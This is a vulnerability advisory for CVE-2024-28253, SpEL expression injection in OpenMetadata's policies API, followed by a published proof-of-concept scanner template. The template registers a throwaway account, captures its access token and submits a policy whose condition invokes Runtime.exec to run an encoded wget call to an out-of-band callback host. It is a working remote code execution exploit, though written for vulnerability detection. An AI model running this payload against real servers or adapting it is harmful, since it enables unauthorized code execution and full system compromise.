OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
PoC代码[已公开]
id: CVE-2024-28253
info:
name: OpenMetaData - SpEL Injection in PUT /api/v1/policies
author: daffainfo
severity: critical
description: |
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
impact: |
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Upgrade to version 1.3.1 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
- https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr
- https://nvd.nist.gov/vuln/detail/VE-2024-28253
- https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
- https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score: 9.4
cve-id: CVE-2024-28253
cwe-id: CWE-94
epss-score: 0.9223
epss-percentile: 0.99699
cpe: cpe:2.3:a:open-metadata:openmetadata:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: open-metadata
product: openmetadata
shodan-query: http.favicon.hash:"733091897"
fofa-query: icon_hash="733091897"
google-query: intitle:"openmetadata"
tags: cve,cve2024,openmetadata,spel,rce,intrusive,file-upload,oast,vkev
variables:
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
password: "{{concat(rand_char('!@#$'), rand_base(4, 'abcdef'), rand_base(4, '1234567890'), rand_char('ABCDEF'))}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/v1/users/signup HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"firstName":"{{firstname}}","lastName":"{{lastname}}","email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- "status_code == 201"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'fullyQualifiedName', 'isBot', 'isAdmin')"
condition: and
internal: true
- raw:
- |
POST /api/v1/users/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{base64(password)}}"}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'accessToken', 'tokenType')"
condition: and
internal: true
extractors:
- type: json
name: accessToken
json:
- '.accessToken'
internal: true
- raw:
- |
PUT /api/v1/policies HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{accessToken}}
Content-Type: application/json
{"name":"{{randstr}}","rules":[{"name":"{{randstr}}","description":"{{randstr}}","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('{{base64("wget http://{{interactsh-url}}")}}')))"}]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 400
# digest: 4a0a0047304502202fb1d8e28dcfe18f5f963db5aee49ae2a0f88c6131cf34980f82b84261212b210221008de9e15fa10121b552ba801ca8de8ffff60a3b76c87de6cc2fd776c5b678260e:922c64590222798bb761d5b6d8e72950